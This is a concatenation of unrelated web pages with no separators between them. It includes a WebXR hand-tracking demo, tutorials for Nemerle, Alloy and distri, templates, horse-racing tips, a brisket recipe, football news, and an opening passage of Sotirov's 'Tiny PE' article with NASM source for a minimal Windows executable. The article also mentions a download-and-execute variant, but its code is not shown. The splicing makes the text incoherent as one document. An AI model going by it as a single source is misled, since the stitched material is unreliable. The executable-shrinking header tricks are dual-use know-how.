👋 Ahoy.
I’m Stewart.
This demo illustrates the use of the
WebXR device hand input API
for hand and finger tracking,
as tested on an
Oculus Quest
stand-alone headset.
This experience is live at
https://stewartsmith.io/studies/vr-hands/.
This code is open-source and available at
https://github.com/stewdio/vr-hands.
Explore.

Make a fist to cycle through different hand model styles.
“Devil horns” toggle the hand-specific colors.
If you have a Quest handy
you’ll need to follow these steps before you can
experience the demo yourself:
-
In Oculus settings
enable automatic switching between regular hand controlles
and bare hands.
-
In the Oculus browser
visit chrome://flags/.
-
Within the flags page, enable
the “WebXR experiences with joints tracking” flag
(
#webxr-hands
).
-
Within the flags page, disable
the “WebXR experiences with hands tracking” flag
(
#webxr-hands-tracking
).
Yes. Disable it.
We’re at that funny early stage of the technology where
things are not always what they seem.
-
Restart the Oculus browser
and visit this site again.
Use your hand controllers
to click the “Enter VR” button.


WebNN
WebNN (WNN) is a JavaScript framework for distributed training of Neural Networks (NN). This is a large part of my research, working alongside Ron Cotton into distributed training of neural networks. WNN consists of a NodeJS HTTP server that facilitates the asynchronous distributed training of user-defined NN. It leverages the clients' GPU using TensorFire and WebGL to run and train a NN in any web browser that supports WebGL 1.0 or better--which (as of writing this document) is 96% of browsers in the US and 93% of browsers globally.
I'll be updating this document in a few months at the close of our research with better documentation on just how to use it.


This is a demo project to show routing in Angularjs.It shows the use of ng-view.The section at top and bottom are fixed while the content in between keeps changing.


Simulate the forensic DNA process: generate random or fixed DNA profiles, create forensic samples including mixtures of diploid and haploid cells, simulate DNA extraction, normalization, degradation, amplification including stutters and inter-locus balance, and capillary electrophoresis. DNA profiles are visualized as electropherograms and saved in tables. The command pcrsim() opens up a graphical user interface which allow the user to create projects, to enter, load, and save parameters required for the simulation. The simulation is transparent and the parameters used in each step of the simulation can be viewed in the result tables.
| Version: | 1.0.2 |
| Depends: | strvalidator (≥ 1.6) |
| Imports: | ggplot2, data.table, gWidgets, mc2d, plyr |
| Published: | 2017-03-18 |
| Author: | Oskar Hansson |
| Maintainer: | Oskar Hansson <oskhan at ous-hf.no> |
| BugReports: | https://github.com/OskarHansson/pcrsim/issues |
| License: | GPL-2 |
| URL: | https://github.com/OskarHansson/pcrsim |
| NeedsCompilation: | no |
| Materials: | README NEWS |
| CRAN checks: | pcrsim results |
| Reference manual: | pcrsim.pdf |
| Package source: | pcrsim_1.0.2.tar.gz |
| Windows binaries: | r-devel: pcrsim_1.0.2.zip, r-release: pcrsim_1.0.2.zip, r-oldrel: pcrsim_1.0.2.zip |
| OS X binaries: | r-release: not available, r-oldrel: not available |
| Old sources: | pcrsim archive |
Please use the canonical form https://CRAN.R-project.org/package=pcrsim to link to this page.


Approval Type
{% if approvalType is none %}
N/A
{% else %}
{% if approvalType == 'courtOrder' %}
The restoration was approved by a court order.
Court order number: {{courtOrder.fileNumber}}
{% elif approvalType == 'registrar' %}
The restoration was approved by Registrar.
BC Gazette published date: {{noticeDate}}
Notice of Application mailed date: {{applicationDate}}
{% endif %}
{% endif %}


This page is a part of the Grokking Nemerle tutorial.
Classes and modules can be put in namespaces. Namespaces at the conceptual
level prepend a string to names of objects defined within them.
namespace Deep.Thought
{
class Answer
{
public static Get () : int
{
42
}
}
}
namespace Loonquawl
{
class Brain
{
public static Run () : void
{
System.Console.WriteLine ("The answer {0}",
Deep.Thought.Answer.Get ())
}
}
}
As you can see, the name of the Get
function is first
prepended with the name of the module (Answer
) and then with
the current namespace (Deep.Thought
), forming its full name:
Deep.Thought.Answer.Get
.
Another example is the WriteLine
method of the Console
module, defined in the System
namespace.
In order not to write System.Console.WriteLine
or
Deep.Thought.Answer.Get
all the time you can import all
declarations from the specified namespace into the current scope with
the using
directive.
Thus the Loonquawl.Brain
module from the example above could be:
namespace LoonquawlUsing
{
using System.Console;
using Deep.Thought.Answer;
class Brain
{
public static Run () : void
{
WriteLine ("The answer is {0}", Get ())
}
}
}
While we see not much gain from the using directive in this example,
it can be handy when you use the WriteLine
method 100 times,
and/or your classes are in Some.Very.Long.Namespaces
.
Note that unlike in C# all methods of a class can be imported into the
current namespace. Thus, using
is not limited to namespaces, but it
also works for classes. The new thing is also the fact, that currently
opened namespaces are used as prefix in all type lookups - for example
if there is using System;
, then you can write
Xml.XmlDocument ()
, or with an additional using System.Xml;
you can write XmlDocument ()
. Neither of these is possible in C#.
It is also possible to create (shorter) aliases for namespaces and
types. It is sometimes useful in case when two namespaces share several
types, so they cannot be imported with using
simultaneously. This
works in similar way to C#.
namespace LoonquawlAlias
{
using SC = System.Console;
using DTA = Deep.Thought.Answer;
class Brain
{
public static Run () : void
{
SC.WriteLine ("The answer is {0}", DTA.Get ())
}
}
}


Teams are required to move from place to place in order to get successive clues to be solved for next place. During the hunt there will be challenges in the form of given code on c and c++ to solve which should be done in least possible time so, as to maintain your pace.
Round Details: 1. There will be two rounds. 2. First round will be elimination round. 3. During the hunt there will be challenges in the form of code on c and c++ to solve, which should be done in least possible time so, as to maintain your pace. 4. There will be penalties for those teams which are not able to solve code clue. Rules: 1. Participants should register in teams of maximum 3 persons. 2. Various clues have to be solved. 3. Gadgets are not allowed.
3 members
8th March 2017
11:00 to 1:00 PM
CR-27 & 28 and BCA & MCA Laboratories
Rs. 120/-
Thakkar Dhaval (MCA)
8460212474
dhavalthakkar4995@gmail.com


Building blocks for constructing simulation scenarios. Can describe module components
in terms of their basic geometries, connector configurations etc. The simulation is
described in terms of connections between modules and the setup of the
enclosing world. Note that the module geometries must be translated into physics engine specific
shapes by the corresponding module factory.
The building blocks are organized into the following subpackages:
- {@link ussr.description.geometry} Geometry shapes for describing entities in the simulation
- {@link ussr.description.robot} Robot building blocks
- {@link ussr.description.setup} Simulation world setup
The physics parameters of the simulation are set using {@link ussr.physics.PhysicsParameters} whereas module factories are manipulated using {@link ussr.physics.PhysicsFactory}.
@see ussr.physics.PhysicsParameters PhysicsParameters
@see ussr.physics.PhysicsFactory PhysicsFactory


This user guide is divided into the following sections:
1. Running the Alloy Analyzer
2. The Alloy Analyzer GUI
3. Performing Analyses on Alloy Models
4. New Syntactic Features in Alloy 4


Examples » DB data load
Building data from backend databse.
Your server needs to be running for this example.


Sorry, we can't seem to find the page you were looking for, but don't worry, we can get you right back on track!


Cool things to try
Fast package installation
- Verify
i3status
is not yet installed:i3status --version
- Install the
i3status
package:distri install i3status
- Verify
i3status
is now installed:i3status --version
Specific package versions
-
Find out which package a file belongs to:
readlink -f /bin/i3
-
If we are unhappy with the path that the exchange directory references, we can side-step it and make a specific selection:
% i3 --version % /ro/i3-amd64-4.15*/bin/i3 --version % /ro/i3-amd64-4.17*/bin/i3 --version
Exchange directories
- The
/bin
directory contains all executables:ls /bin
- distri implements common file system hierarchy locations such as
/usr/include
as a symbolic link to an exchange directory:ls -l /usr/include
- Exchange directories consist of symbolic links to the files of individual distri packages:
ls -l /usr/include/
Debug symbols and package sources
- Start the GNU Debugger, e.g.
gdb ps
- Set a breakpoint on the
main
function and run the program:gdb> break main gdb> run
- Once the breakpoint is hit, list the source code:
gdb> list
- Notice that you did not have to manually install any debug packages or sources.
C build environment
- Make available the build dependencies using
distri install autoconf automake make gcc libxcb xorgproto
- Build standard C software as usual:
% git clone https://github.com/i3/i3lock % cd i3lock % autoreconf -fi % mkdir build && cd build % ../configure % make -j8
© 2018 Michael Stapelberg and contributors


If you have an advanced Prolog application that needs a GUI you can write a stand-alone Java application that handles the GUI and set up the Prolog server to call the right predicates in the Prolog application.
An example of how to do this can be found under the pbexamples(evaluate) directory (see the example code in PB First Example).
Another example of this is pbexamples(pbtest), which illustrates several advanced features like:
server_started
)
The example is run by executing the Java program PBTest
:
> java -classpath "%SP_PATH%\bin\prologbeans.jar;." PBTest (Windows), or % java -classpath "$SP_PATH/bin/prologbeans.jar:." PBTest (UNIX)


Horse Power: Bristol De Mai can win the Betfair Chase for a third time at Haydock Park
Nigel Twiston-Davies' grey can land the Grade One feature on Merseyside while Lisnagar Oscar, Gortroe Joe, Burton's Well and Ballinsker may also score
by Chris WrightBristol De Mai can maintain his 100% record at Haydock Park and land a third successive victory in the Betfair Chase (3pm) on Saturday.
Nigel Twiston-Davies’ grey has won four times in four starts at the Merseyside track, including two successes in the Grade One feature in 2017 and 12 months ago.
He faces just three rivals this afternoon and although some of them are progressive stayers coming out of novice company, Bristol De Mai can secure a hat-trick of Betfair Chase wins and move him to within one of Kauto Star’s record four triumphs.
The nine-year-old is at his best in soft conditions at Haydock having also won two Grade Twos, the Altcar Novices’ Chase in 2016 and the Peter Marsh Chase in 2017, there. And although the ground is much better than usual he can also go well on the good to soft going.
He only has three other chase victories away from Haydock – at Warwick, Leicester and in the Charlie Hall at Wetherby – but has also run well in defeat, particularly when third in the Magners Cheltenham Gold Cup at the Cheltenham Festival back in March.
He failed to shine at Aintree Racecourse’s Randox Health Grand National meeting the following month. But he is horse who goes well at this time of year and with his Haydock record he will be hard to beat.
Colin Tizzard’s Lostintranslation – a Grade One novice winner at Aintree in April – looks the biggest danger, but he may have to settle for second.
Rebecca Curtis’ Lisnagar Oscar can win the Grade Three Betfair Best Odds On ITV Races Stayers’ Handicap Hurdle (2.25pm).
Two smart stayers in Sam Spinner and Paisley Park won this race in the past two seasons en route to bigger successes.
Lisnagar Oscar may not be quite up to that level yet, but the six-year-old looks progressive. He ran well at both the Cheltenham and Aintree festivals, but has failed to win in two starts over the bigger obstacles so far this season.
A return to hurdling should suit and he can score in a hugely-competitive contest.
Evan Williams’ Ballinsker can make it two from two over hurdles by following up his Ludlow win with another in the Listed Read Paul Nicholls Exclusively At Betfair Newton Novices’ Hurdle (12.05pm).
Venetia Williams’ Burton’s Well returned after a long lay-off to give owner Trevor Hemmings another win at Aintree last time and he can follow up in the Cashout In-Play With Betfair Handicap Chase (12.40pm).
Liverpool owner John Neild retired Splash Of Ginge after he was pulled up at Cheltenham last weekend, but he can celebrate victory at one of his ‘home’ tracks with The Hollow Ginge – trained by Twiston-Davies – in the Betfair Exchange Graduation Chase (1.15pm).
Dan Skelton’s consistent Gortroe Joe probably doesn’t win as often has he should but he has a chance to get back in the winner’s enclosure in the Racing Only Bettor Betfair Podcast Handicap Hurdle (1.15pm).
He went chasing last year but back over the smaller obstacles, he ran well to be third at Wetherby last time and can go a couple of places better.
David Pipe’s Know The Score may take the Better Value On The Betfair Exchange Stayers’ Handicap Chase (3.35pm).
At Ascot Altior can take the step up in trip in his stride and come out on top in his battle with Cyrname in the Grade Two Christy 1965 Chase (2.05pm).
It is an intriguing race with just one other runner. But Altior’s class may see him triumph.
Meanwhile Skelton may score with Roksana in the Grade Two Coral Hurdle (Registered As The Ascot Hurdle) (2.40pm); and the Paul Nicholls-trained Capeland may make up for his disappointment at Sandown last time with victory in the Gerard Bertrand Hurst Park Handicap Chase (3.20pm).
Others who may in at Ascot are the Nicky Henderson-trained Pym in the Ascot Chase (A Novices’ Limited Handicap) (12.55pm); Fergal O’Brien’s Oscar Rose in the Trisoft Mares’ Handicap Hurdle (1.30pm); and Soaring Glory in the Ascot Standard Open National Hunt Flat Race (3.50pm).
Wright Ones
HAYDOCK PARK
12.05pm Ballinsker
12.40pm Burton’s Well
1.15pm The Hollow Ginge
1.50pm Gortroe Joe
2.25pm Lisnagar Oscar (NAP)
3pm Bristol De Mai
3.35pm Know The Score
ASCOT
12.20pm Redford Road
12.55pm Pym
1.30pm Oscar Rose
2.05pm Altior
2.40pm Roksana
3.20pm Capeland
3.50pm Soaring Glory
HUNTINGDON
1.55am Adjourned
12.30pm Evander
1.05pm Ashutor
1.40pm Grania O’Malley
2.15pm Volt Face
2.50pm Peter’s Portrait
3.25pm Presence Of Mind
LINGFIELD
12.10pm Daddy’s Daughter
12.45pm Isobar Wind
1.20pm Garth Rockett
1.55pm Silent Echo
2.30pm Dancin inthestreet
3.05pm Mercenary Rose
3.40pm Savitar
SUNDAY’S NAP: Gatacre Street (Uttoxeter 3.10pm)
Donald McCain's Cloudy Dream on road to recovery
Cloudy Dream is slowly on the road to his return to action after being out for 13 months.
The Donald McCain-trained nine-year-old has not run since being injured when third to Frodon in the Old Roan Chase at Aintree in October 2018.
That was his first start for the Merseyside-born trainer after joining McCain from Ruth Jefferson’s yard. He has has been recuperating at his owner Trevor Hemmings’ stud in Lancashire, and is now back cantering.
Cheshire-based handler McCain said: “I’m in touch with Mick Meagher (racing manager) at Trevor Hemmings’ place.  It’s got to be decided how soon he comes back into training. Obviously the spring is more important than the autumn.
“We’ll just see, but he picked up that knock in the Old Roan last year, and it just took time to settle. I know he’s cantering every day. Mick knows the horse better than me - and I’ll just leave it to them, and they will decide the best way forward.”
Nicky Henderson's Might Bite may make return at Aintree Racecourse
Nicky Henderson is still deciding whether Might Bite’s return to action will be at Aintree or Huntingdon.
The 2017 King George VI Chase winner, who was also second in the Gold Cup, disappointed last season. He failed to fire in three starts but he could return in either the Many Clouds Chase at Aintree two weeks today or the Peterborough Chase at Huntingdon 24 hours later. Henderson said: “Last season he never jumped as well as he did before
“Nico (de Boinville) wants to come back to two and a half miles and we don’t often disagree.
“However, he thinks the Peterborough would suit him and I think the Many Clouds at Aintree would be the right race for him.
“That is the time of year he will appear.”


Aim and Motivation: Convert Data-Lights into Meaningful Insights.
Extracting meaningful information from intact tissue is
becoming ever more critical as researchers look for better
ways to characterize molecular activity of cells within their
native microenvironments. In life science research and
pharmaceutical drug development, progress often depends on it. In translational
oncology, understanding cancer in its microenvironment is central to identifying
disease subtype, validating targets, selecting patients for trials, characterizing efficacy
and response, and making correlations with clinical outcome.
inForm® is a patented automated image analysis software package for accurately
visualizing and quantifying biomarkers in tissue sections. Two standalone versions
of inForm image analysis software are available, inForm Cell Analysis™ and inForm
Tissue Finder™. inForm Cell Analysis enables per-cell analysis of immunohistochemistry
(IHC) and immunofluorescence samples, allowing the separation and measurement of
weak and spectrally overlapping markers in single and multiplex assays. inForm Tissue
Finder automates the detection and segmentation of specific tissue types using
patented user-trainable algorithms developed to recognize morphological patterns.
Note
The theoretical part of this work was done when the author was in his PhD thesis (1994-1998), at the University of Savoie, Department of Mathematics, France. The work was shaped toward real applications accordingly to the learned scientific experience.
Statistics and Applied Mathematics for Data Analytics, Identify opportunities to apply Mathematical Statistics, Numerical Methods, Machine Learning and Pattern Recognition to investigate and implement solutions to the field of Data Content Analytics. Data prediction via computational methods to predict from massive amounts of data (Big Data Content). These methods included clustering, regression, survival analysis, neural network, classification , ranking, deep discrepancy learning .


natreal
Syntax
natreal ( n : nat ) : real
Description
The natreal function is used to convert a natural number to a real number. This function is rarely used, because in Turing, a natural number can be used anyplace a real value is required. When this is done, the natreal function is implicitly called to do the conversion from nat to real. The natreal function is similar to intreal, except that natreal handles values that are larger than int values and does not handle negative values.
See also
nat. See also the intreal, floor, ceil and round functions.


{{ post.title }}
{{ post.excerpt }}
Read More
--- layout: default --- Consider this site as the digital equivalent of the battered note book you carry around in your bag, where you scribble shopping lists, song lyrics, todo lists and short thoughts. Particularly, short thoughts.


SYSTEM DOCTORADO
Logout
Best viewed in pop-out mode to see location changes. Click blue button on the right.
Quick Start
Route 1
Route 2


#include "copyright.h"
#include "msgerror.h"
#include "system.h"
#include "interrupt.h"
#include "drvACIA.h"
#include "drvConsole.h"
#include "mmu.h"
#include "oftable.h"
#include "syscall.h"
#include "synch.h"
#include "machine.h"
Functions | |
| void | ExceptionHandler (ExceptionType exceptiontype, int vaddr) |
There are two kinds of things that can cause control to transfer back to here:
syscall -- The user code explicitly requests to call a Nachos system call
exceptions -- The user code does something that the CPU can't handle. For instance, accessing memory that doesn't exist, arithmetic errors, etc.
Interrupts (which can also cause control to transfer from user code into the Nachos kernel) are handled elsewhere.
|
|
Entry point into Nachos to handle user system calls and exceptions. Entry point into the Nachos kernel. Called when a user program is executing, and either does a syscall, or generates an addressing or arithmetic exception. For system calls, the calling convention is the following:
The result of the system call, if any, must be put back into r2.
|


Preparation time
less than 30 mins
Cooking time
over 2 hours
Serves
Serves 5-6
Choose a well-marbled piece of brisket if you can, as it will be far more succulent than a very lean cut. You can also make the potato latkes separately and just served them topped with soured cream and apple sauce.
For the beef, season the beef all over with the salt and lots of freshly ground black pepper. Heat two tablespoons of the oil in a large flameproof casserole and brown the beef over a fairly high heat for 8-10 minutes, turning every couple of minutes. Preheat the oven to 160C/325F/Gas 3.
While the beef is frying, thinly slice two of the onions. Remove the beef from the casserole and put it to one side. Add the onions to the casserole and fry for five minutes or until nicely browned, stirring regularly. Add a little more oil if the onions begin to stick.
Stir in the thyme and bay leaf and cook for 20-30 seconds more, stirring. Return the beef to the casserole. Stir the tomato purée into the hot beef stock and pour around the beef. Add the wine and bring to a gentle simmer on the hob.
Cover with a lid and place in the oven. Cook for three hours. After about 1½ hours, take out of the oven and turn the beef. If you press it with a fork, the meat will feel very firm.
While the beef is cooking, prepare the vegetables. Cut the remaining onions into half from root to tip and then cut each half into four. Peel the carrots and cut into 3cm/1¼in chunks, trim the celery and cut into 4cm/1½in lengths.
Heat another tablespoon of oil in a large non-stick frying pan. Fry the onions for five minutes, stirring occasionally. Add the carrots and celery and cook for a further five minutes over a medium heat until the onions are softened and all the vegetables are lightly browned, stirring regularly.
Remove the beef from the oven and take off the lid. Press the beef with a fork. You should be able to feel it becoming much softer. (If not, return to the oven for a further 30 minutes before adding the vegetables.)
Turn the beef over and nestle all the sautéed vegetables around it. Cover with the lid again and return to the oven for a further 1-2 hours, or until the beef is very tender and yields completely to the pressure of a spoon.
For the potato latkes, whisk the egg and egg yolk together in a small bowl. Peel the onion and coarsely grate on a board. Place in a large colander. Peel all the potatoes and coarsely grate. Add to the onions and mix well.
Take the colander to the sink and using your hands, squeeze out as much excess liquid as possible from the onion and potatoes. Do this in 4-5 batches and put the squeezed vegetables in a large clean bowl as you go. Add the beaten eggs, flour, salt and parsley or chives (if using) to the onion and potatoes. Season with lots of ground black pepper and mix well.
Pour two tablespoons of the oil into a large non-stick frying pan and place over a low-medium heat. Take a handful of the potato mixture and form into a loose ball. Place in the pan and flatten with a spatula until around 1.5cm/½in thick. Repeat with three more balls of the potato until you have four latkes cooking at the same time.
Cook the latkes for 6-8 minutes on each side until golden-brown and cooked through. Don’t be tempted to increase the heat or the latkes with be burnt on the outside before they are ready in the middle. Put on a baking tray and set aside while you cook the remaining eight latkes in exactly the same way. Add an extra two tablespoons of sunflower oil to the pan between batches.
Preheat the oven to 200C/400F/Gas 6. When you are almost ready to serve the latkes, reheat on the baking tray in the oven for 10-15 minutes, or until hot and crisp.
To serve the beef, lift the beef out of the casserole with a couple of forks and place on a board or serving platter. Cut off the string and carve into slices. Serve with the poached vegetables, latkes and the rich cooking liquor for gravy.


We try to keep abreast of the latest news in the world o' television, and have just learned that the BBC's popular countryside programme One Man And His Dog, in which shepherds and sheepdogs display their skills, is to be axed. Our sources tell us that it will be replaced in the new year by One Man And His Swarm Of Killer Bees, presented by V S Naipaul and Liza Minnelli.


About Me
Fardin Rastakhiz is a game developer and engineer. He has a B.Sc of mechanical engineering and experience of developing forbidden speed game and Ahoog graphic design software. both game and software accepted as creative ... in IOSCS!
Fardin loves programming and put a lot of time in it but also has experience with 3d modeling with 3DS Max and 2d graphics with Photoshop. also has good math skills.
first position in first conference of mechanical engineering yasuj university, developing two creating game and making two company creative so they could use all benefits of creative companies, two accepted plan in roshd! centers (one in yasuj university and one in tech park!?)
Fardin is currently looking for fulltime or parttime job as game developer, game programmer, unity developer or other related positions. you can call him through:
<EMAIL_ADDRESS>@fardin.rastakhiz Resume.pdf


{include file='common@public:header' /} {block name="styles"}{/block}
{include file="common@public:left_nav" /}
{include file="common@public:head_nav" /} {block name="main-content"}{/block}
{include file="common@public:footer" /}
{block name="scripts"}{/block}


GIFTastic
Comedians give the GIF of laughter!!!
Enter the name of your favorite comedian
Keep In Touch!
(312) 555-1212
khamel.mumford@gmail.com


West Ham fans have a mixed reaction to Manuel Pellegrini's starting XI to face Spurs
The Hammers fans have taken to social media to vent their frustration over the team - but there are some positives too
by Sam InkersoleManuel Pellegrini has named his starting eleven to take on Spurs at London Stadium and there has been some uproar among the fans but also, some appreciation to boot.
The Chilean has made two changes to the team that was thumped 3-0 by Burnley prior to the international break with Angelo Ogbonna starting at centre back and Andriy Yarmolenko coming back in to the team.
Out go Fabian Balbuena and Pablo Fornals but the manager has seemingly stuck to his preferred 4-1-4-1 formation that hasn't been particularly impressive for most of the season.
Ogbonna has been recalled for the first time in a month at the expense of Balbuena who has been badly out of form since he replaced the Italian for no apparent reason for the draw with Sheffield United.
Yarmolenko's up and down campaign continues as well as he is rafted back in having been left on the bench for Fornals at Turf Moor.
Under-fire keeper Roberto has also kept his place in goal despite his recent gaffe-prone displays as David Martin remains on the bench.
While the fans are seemingly happy that Ogbonna is back in at the heart of a Hammers defence that hasn't kept a clean sheet since the win over Manchester United on September 22, the lack of a change of formation and also the continued absence of Arthur Masuaku from the squad has been picked up.
Masuaku was handed a new five-year contract extension earlier this summer but has played just once since he was sent off against Aston Villa and ha failed to make the squad for five of the last six games.
Jack Wilshere is also not in the matchday 18 having picked up a stomach injury in training this week and he has not featured since the 2-0 loss away at Everton when he came off the bench.


2005 Invitational LDM Training Workshop Handout
Instructor
Name: Steven R. Emmerson
Relevance:
- Co-Developer of LDM 4
- Developer of LDM 6
Contact:
UCAR/Unidata Program Center
P.O. Box 3000
Boulder, CO 80307-3000
<EMAIL_ADDRESS>Websites
- Unidata Program Center: https://www.unidata.ucar.edu
- LDM Home Page: https://www.unidata.ucar.edu/software/ldm/


Dynamic Finders
Search Options
Collection:
Min age:
Max age:
Sort by:
Sort ascending:
findMany results
findOne result


Security Research
by Alexander Sotirov
Tiny PE
Translations: português brasileiro
Creating the smallest possible PE executable
This work was inspired by the Tiny PE challenge by Gil Dabah. The object of the challenge was to write the smallest PE file that downloads a file from the Internet and executes it.
In the process of writing increasingly smaller PE files for the challenge I learned a lot of interesting details about the PE file format and the Windows loader. The goal of this document is to preserve this knowledge for future reference. In this, I have followed the example of the famous Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux.
Summary
If you are too busy to read the entire page, here is a summary of the results:
- Smallest possible PE file: 97 bytes
- Smallest possible PE file on Windows 2000: 133 bytes
- Smallest PE file that downloads a file over WebDAV and executes it: 133 bytes
The files above are the smallest possible PE files due to requirements of the PE file format and cannot be improved further. Take this as a challenge if you wish ;-)
UPDATE: Many before me had made similar claims and just like them I turned out to be wrong. Thanks to Peter Ferrie for pointing out that you can remove the last field from the 137 byte file and bring the file size down to 133 bytes.
You can also download an archive with all source code and executables from this page:
- tinype.zip (GPG .sig)
For details about how these results were achieved, read below.
Smallest possible PE file
Our first task will be to build the smallest possible PE file that can be loaded and executed by Windows. We'll start with a simple C program:
Compiling a simple C program
int main() { return 42; }
We'll compile and link this program with Visual Studio 2005:
cl /nologo /c tiny.c link /nologo tiny.obj
The resulting file size is 45056 bytes. This is clearly unacceptable.
tiny.c | tiny.exe | dumpbin | Makefile
Removing the C Runtime Library
A very large part of the binary consists of the C Runtime Library. If we link the same program with the /NODEFAULTLIB option, we'll get a much smaller output file. We will also remove the console window from the program by setting the subsystem to Win32 GUI.
cl /nologo /c /O1 tiny.c link /nologo /ENTRY:main /NODEFAULTLIB /SUBSYSTEM:WINDOWS tiny.obj
The /O1 compiler option optimizes the code for size. A disassembly of the .text section shows that main function was optimized down to 4 bytes:
00401000: 6A 2A push 2Ah 00401002: 58 pop eax 00401003: C3 ret
The size of the PE file is now 1024 bytes.
tiny.c | tiny.exe | dumpbin | Makefile
Decreasing the file alignment
If we look at the dumpbin output for the 1024 byte file, we'll see that the file alignment is set to 512 bytes. The contents of the .text section start at offset 0x200 in the file. The space between the header and the .text section is filled with zeros.
The official PE specification states that the minimim file alignment is 512, but the Microsoft linker can produce PE files with smaller alignment. The Windows loader ignores the invalid alignment and is able to execute the file.
cl /c /O1 tiny.c link /nologo /ENTRY:main /NODEFAULTLIB /SUBSYSTEM:WINDOWS /ALIGN:1 tiny.obj
The size of the PE file is now 468 bytes.
tiny.c | tiny.exe | dumpbin | Makefile
Switching to assembly and removing the DOS stub
To shrink the file even further, we need to be able to edit all fields in the PE header. We'll disassemble our 468 byte C program and convert it to assembly source that can be assembled with NASM. We'll use the following command to build our PE file:
nasm -f bin -o tiny.exe tiny.asm
The only change we'll make is to remove the DOS stub that prints the message This program cannot be run in DOS mode. PE files still need an MZ header, but the only two fields that are used are e_magic and e_lfanew. We can fill the rest of the MZ header with zeros. Similarly, there are many other unused fields in the PE header that can be modified without breaking the program. In the source code below they are highlighted in red.
For a detailed description of the PE file format, please refer to the official specification from Microsoft and Matt Pietrek's An In-Depth Look into the Win32 Portable Executable File Format: Part 1 and Part 2.
; tiny.asm BITS 32 ; ; MZ header ; ; The only two fields that matter are e_magic and e_lfanew mzhdr: dw "MZ" ; e_magic dw 0 ; e_cblp UNUSED dw 0 ; e_cp UNUSED dw 0 ; e_crlc UNUSED dw 0 ; e_cparhdr UNUSED dw 0 ; e_minalloc UNUSED dw 0 ; e_maxalloc UNUSED dw 0 ; e_ss UNUSED dw 0 ; e_sp UNUSED dw 0 ; e_csum UNUSED dw 0 ; e_ip UNUSED dw 0 ; e_cs UNUSED dw 0 ; e_lsarlc UNUSED dw 0 ; e_ovno UNUSED times 4 dw 0 ; e_res UNUSED dw 0 ; e_oemid UNUSED dw 0 ; e_oeminfo UNUSED times 10 dw 0 ; e_res2 UNUSED dd pesig ; e_lfanew ; ; PE signature ; pesig: dd "PE" ; ; PE header ; pehdr: dw 0x014C ; Machine (Intel 386) dw 1 ; NumberOfSections dd 0x4545BE5D ; TimeDateStamp UNUSED dd 0 ; PointerToSymbolTable UNUSED dd 0 ; NumberOfSymbols UNUSED dw opthdrsize ; SizeOfOptionalHeader dw 0x103 ; Characteristics (no relocations, executable, 32 bit) ; ; PE optional header ; filealign equ 1 sectalign equ 1 %define round(n, r) (((n+(r-1))/r)*r) opthdr: dw 0x10B ; Magic (PE32) db 8 ; MajorLinkerVersion UNUSED db 0 ; MinorLinkerVersion UNUSED dd round(codesize, filealign) ; SizeOfCode UNUSED dd 0 ; SizeOfInitializedData UNUSED dd 0 ; SizeOfUninitializedData UNUSED dd start ; AddressOfEntryPoint dd code ; BaseOfCode UNUSED dd round(filesize, sectalign) ; BaseOfData UNUSED dd 0x400000 ; ImageBase dd sectalign ; SectionAlignment dd filealign ; FileAlignment dw 4 ; MajorOperatingSystemVersion UNUSED dw 0 ; MinorOperatingSystemVersion UNUSED dw 0 ; MajorImageVersion UNUSED dw 0 ; MinorImageVersion UNUSED dw 4 ; MajorSubsystemVersion dw 0 ; MinorSubsystemVersion UNUSED dd 0 ; Win32VersionValue UNUSED dd round(filesize, sectalign) ; SizeOfImage dd round(hdrsize, filealign) ; SizeOfHeaders dd 0 ; CheckSum UNUSED dw 2 ; Subsystem (Win32 GUI) dw 0x400 ; DllCharacteristics UNUSED dd 0x100000 ; SizeOfStackReserve UNUSED dd 0x1000 ; SizeOfStackCommit dd 0x100000 ; SizeOfHeapReserve dd 0x1000 ; SizeOfHeapCommit UNUSED dd 0 ; LoaderFlags UNUSED dd 16 ; NumberOfRvaAndSizes UNUSED ; ; Data directories ; times 16 dd 0, 0 opthdrsize equ $ - opthdr ; ; PE code section ; db ".text", 0, 0, 0 ; Name dd codesize ; VirtualSize dd round(hdrsize, sectalign) ; VirtualAddress dd round(codesize, filealign) ; SizeOfRawData dd code ; PointerToRawData dd 0 ; PointerToRelocations UNUSED dd 0 ; PointerToLinenumbers UNUSED dw 0 ; NumberOfRelocations UNUSED dw 0 ; NumberOfLinenumbers UNUSED dd 0x60000020 ; Characteristics (code, execute, read) UNUSED hdrsize equ $ - $$ ; ; PE code section data ; align filealign, db 0 code: ; Entry point start: push byte 42 pop eax ret codesize equ $ - code filesize equ $ - $$
To find out which fields are used and which can be freely modified, we used a simple asm fuzzer written in Ruby. It iterates through all header fields in the assembly source and replaces them with semi-random values. If the resulting program crashes or fails to return 42, we conclude that the field is in use.
The size of the assembled PE file is now 356 bytes.
tiny.asm | tiny.exe | dumpbin | Makefile
Collapsing the MZ header
The e_lfanew field in the MZ header contains the offset of the PE header from the beginning of the file. Usually the PE header begins after the MZ header and the DOS stub, but if we set e_lfanew to a value smaller than the 0x40, the PE header will start inside the MZ header. This allows us to merge some of the data of the MZ and PE headers and produce a smaller file.
The PE header cannot start at offset 0, because we need the first two bytes of the file to be "MZ". According to the PE specification, the PE header must be aligned on a 8 byte boundary, but the Windows loader requires only a 4 byte alignment. This means that the smallest possible value for e_lfanew is 4.
If the PE header starts at offset 4, most of it will overwrite unused fields in the MZ header. The only field we need to be careful with is e_lfanew, which is at the same offset as SectionAlignment. Since e_lfanew must be 4, we have to set SectionAlignment to 4 as well. The PE specification says that if the section alignment is less than the page size, the file alignment must have the same value, so we have to set both SectionAlignment and FileAlignment to 4. Fortunately the section data in our PE file is already aligned on a 4 byte boundary, so changing the file alignment from 1 to 4 doesn't increase the file size.
